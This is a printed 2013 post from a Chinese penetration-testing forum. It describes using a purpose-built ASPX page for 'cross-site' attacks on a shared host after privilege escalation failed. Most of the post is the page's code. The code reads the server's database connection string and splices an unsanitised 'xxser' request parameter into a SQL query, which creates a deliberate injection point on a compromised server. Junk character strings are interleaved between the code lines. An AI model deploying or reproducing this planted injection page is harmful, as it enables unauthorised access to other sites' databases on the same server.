中国网络渗透测试联盟
标题:
利用aspx构造注射来跨站
[打印本页]
作者:
admin
时间:
2013-3-20 21:32
标题:
利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
$ _" W. O2 X1 h$ Q
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
S0 c$ B- E, ~/ L' D
代码量不多,自己写个拉倒了。烦死了。
2 C( ^: ?: n& v4 X$ y8 q
/ Q% l5 m" ]( s7 b- F
6 O0 M; o: n$ l7 i% p) U' ?! M
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
! n! H7 E: Q( y- I( G- g8 ~3 Y
<html xmlns="http://www.w3.org/1999/xhtml">
- Z1 ~3 v. H5 P( \
<head runat="server">
# y0 ]3 D8 p) { W3 i
<title>暗影aspx构造注射专用页面</title>
$ t1 W. h# F5 c
</head>
9 t: |) ]- h C2 m3 [
<body>
6 G# h& W) Q' K$ \$ ?/ M" |$ B
<form id="form1" runat="server">
( ]! Y6 \0 Q" b/ P
<div>
- D% f! d Y: T; E6 A
<script language="c#" runat="server">
$ h0 w3 c. I& S o' J @
& ^4 I5 O6 E7 B b3 @, X& N3 W
void page_init(object sender, EventArgs e)
7 w+ J9 a6 r1 v8 W( l( I
{
/ N: L$ f; T8 Z' h) ~# v
" ]: r( i8 j% } A3 ?5 T
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
& w" b( Y% b# @) G" G
6 H; c' [3 ?/ E6 Y' r1 C K2 X; I
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
! X* o# ]* l B
conn.Open();
( O7 C. ~$ t. H! v
5 V; O0 r" n s. X6 Y
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
! {# J6 u) }4 n* Y
; }- n+ ^" A; {7 c
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
! x& i" k2 P. z4 y
int x = command.ExecuteNonQuery();
6 Q1 {& a( {! \8 H/ t& c; ?
Response.Write(i+"\n");
: L0 y/ V5 Y) u
Response.Write(x);
. C/ {0 X* o" C
conn.Close();
9 M6 Q: s* G3 N! R4 B4 Q
}
5 F: {8 g4 y( _9 }" R/ ]
/ K# Y$ `' d8 p
</script>
: W) s! T( L: o4 E) Z
</div>
6 j$ g! s+ V0 l# I- g- f
</form>
8 U" ]& @5 ]8 k8 H
</body>
Q6 Q0 ~: L/ ~# D; s- ]
</html>
4 g! F0 y: W" I: u! R9 h
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2